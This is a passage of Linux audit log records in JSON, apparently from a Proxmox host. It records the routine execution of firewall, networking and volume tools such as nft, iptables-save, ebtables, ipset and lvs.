cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=PATH msg=audit(1781965177.079:64507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=PATH msg=audit(1781965177.079:64507): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=PATH msg=audit(1781965177.079:64506): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=PATH msg=audit(1781965177.079:64505): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=PATH msg=audit(1781965177.071:64504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=PATH msg=audit(1781965177.071:64504): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=PATH msg=audit(1781965177.071:64503): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=PATH msg=audit(1781965177.071:64502): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175575,"@rawstring":"node=pve type=PATH msg=audit(1781965175.575:64501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175575,"@rawstring":"node=pve type=PATH msg=audit(1781965175.575:64501): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175567,"@rawstring":"node=pve type=PATH msg=audit(1781965175.567:64500): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175567,"@rawstring":"node=pve type=PATH msg=audit(1781965175.567:64500): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175564,"@rawstring":"node=pve type=PATH msg=audit(1781965175.564:64499): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175564,"@rawstring":"node=pve type=PATH msg=audit(1781965175.564:64499): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175564,"@rawstring":"node=pve type=PATH msg=audit(1781965175.564:64498): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175559,"@rawstring":"node=pve type=PATH msg=audit(1781965175.559:64497): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175559,"@rawstring":"node=pve type=PATH msg=audit(1781965175.559:64497): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175559,"@rawstring":"node=pve type=PATH msg=audit(1781965175.559:64497): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175550,"@rawstring":"node=pve type=PATH msg=audit(1781965175.550:64496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175550,"@rawstring":"node=pve type=PATH msg=audit(1781965175.550:64496): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175543,"@rawstring":"node=pve type=PATH msg=audit(1781965175.543:64495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175543,"@rawstring":"node=pve type=PATH msg=audit(1781965175.543:64495): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175534,"@rawstring":"node=pve type=PATH msg=audit(1781965175.534:64494): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175534,"@rawstring":"node=pve type=PATH msg=audit(1781965175.534:64494): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175519,"@rawstring":"node=pve type=PATH msg=audit(1781965175.519:64493): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175519,"@rawstring":"node=pve type=PATH msg=audit(1781965175.519:64493): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175511,"@rawstring":"node=pve type=PATH msg=audit(1781965175.511:64491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175511,"@rawstring":"node=pve type=PATH msg=audit(1781965175.511:64491): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175503,"@rawstring":"node=pve type=PATH msg=audit(1781965175.503:64490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175503,"@rawstring":"node=pve type=PATH msg=audit(1781965175.503:64490): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175496,"@rawstring":"node=pve type=PATH msg=audit(1781965175.496:64489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175496,"@rawstring":"node=pve type=PATH msg=audit(1781965175.496:64489): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175488,"@rawstring":"node=pve type=PATH msg=audit(1781965175.488:64488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175488,"@rawstring":"node=pve type=PATH msg=audit(1781965175.488:64488): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175483,"@rawstring":"node=pve type=PATH msg=audit(1781965175.483:64487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175483,"@rawstring":"node=pve type=PATH msg=audit(1781965175.483:64487): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175474,"@rawstring":"node=pve type=PATH msg=audit(1781965175.474:64486): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175474,"@rawstring":"node=pve type=PATH msg=audit(1781965175.474:64486): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175466,"@rawstring":"node=pve type=PATH msg=audit(1781965175.466:64485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175466,"@rawstring":"node=pve type=PATH msg=audit(1781965175.466:64485): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175460,"@rawstring":"node=pve type=PATH msg=audit(1781965175.460:64484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175460,"@rawstring":"node=pve type=PATH msg=audit(1781965175.460:64484): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175456,"@rawstring":"node=pve type=PATH msg=audit(1781965175.456:64483): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175456,"@rawstring":"node=pve type=PATH msg=audit(1781965175.456:64483): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PATH msg=audit(1781965175.452:64482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PATH msg=audit(1781965175.452:64482): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PATH msg=audit(1781965175.452:64481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PATH msg=audit(1781965175.452:64481): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PATH msg=audit(1781965175.452:64480): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175446,"@rawstring":"node=pve type=PATH msg=audit(1781965175.446:64479): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175446,"@rawstring":"node=pve type=PATH msg=audit(1781965175.446:64479): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175446,"@rawstring":"node=pve type=PATH msg=audit(1781965175.446:64479): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175438,"@rawstring":"node=pve type=PATH msg=audit(1781965175.438:64478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175438,"@rawstring":"node=pve type=PATH msg=audit(1781965175.438:64478): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175430,"@rawstring":"node=pve type=PATH msg=audit(1781965175.430:64477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175430,"@rawstring":"node=pve type=PATH msg=audit(1781965175.430:64477): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175426,"@rawstring":"node=pve type=PATH msg=audit(1781965175.426:64476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175426,"@rawstring":"node=pve type=PATH msg=audit(1781965175.426:64476): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175417,"@rawstring":"node=pve type=PATH msg=audit(1781965175.417:64475): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175417,"@rawstring":"node=pve type=PATH msg=audit(1781965175.417:64475): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175408,"@rawstring":"node=pve type=PATH msg=audit(1781965175.408:64474): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175408,"@rawstring":"node=pve type=PATH msg=audit(1781965175.408:64474): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965174321,"@rawstring":"node=pve type=PATH msg=audit(1781965174.321:64473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965174321,"@rawstring":"node=pve type=PATH msg=audit(1781965174.321:64473): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965174297,"@rawstring":"node=pve type=PATH msg=audit(1781965174.297:64472): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965174297,"@rawstring":"node=pve type=PATH msg=audit(1781965174.297:64472): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=PATH msg=audit(1781965172.063:64471): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=PATH msg=audit(1781965172.063:64471): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=PATH msg=audit(1781965172.063:64470): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=PATH msg=audit(1781965172.063:64469): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=PATH msg=audit(1781965172.050:64468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=PATH msg=audit(1781965172.050:64468): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=PATH msg=audit(1781965172.050:64467): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=PATH msg=audit(1781965172.050:64466): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=PATH msg=audit(1781965167.043:64465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=PATH msg=audit(1781965167.043:64465): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=PATH msg=audit(1781965167.043:64464): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=PATH msg=audit(1781965167.043:64463): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=PATH msg=audit(1781965167.036:64462): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=PATH msg=audit(1781965167.036:64462): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=PATH msg=audit(1781965167.036:64461): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=PATH msg=audit(1781965167.036:64460): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165388,"@rawstring":"node=pve type=PATH msg=audit(1781965165.388:64459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165388,"@rawstring":"node=pve type=PATH msg=audit(1781965165.388:64459): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PATH msg=audit(1781965165.385:64458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PATH msg=audit(1781965165.385:64458): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PATH msg=audit(1781965165.385:64457): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PATH msg=audit(1781965165.385:64457): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PATH msg=audit(1781965165.385:64456): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165380,"@rawstring":"node=pve type=PATH msg=audit(1781965165.380:64455): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165380,"@rawstring":"node=pve type=PATH msg=audit(1781965165.380:64455): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165380,"@rawstring":"node=pve type=PATH msg=audit(1781965165.380:64455): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165372,"@rawstring":"node=pve type=PATH msg=audit(1781965165.372:64454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165372,"@rawstring":"node=pve type=PATH msg=audit(1781965165.372:64454): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165366,"@rawstring":"node=pve type=PATH msg=audit(1781965165.366:64453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165366,"@rawstring":"node=pve type=PATH msg=audit(1781965165.366:64453): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 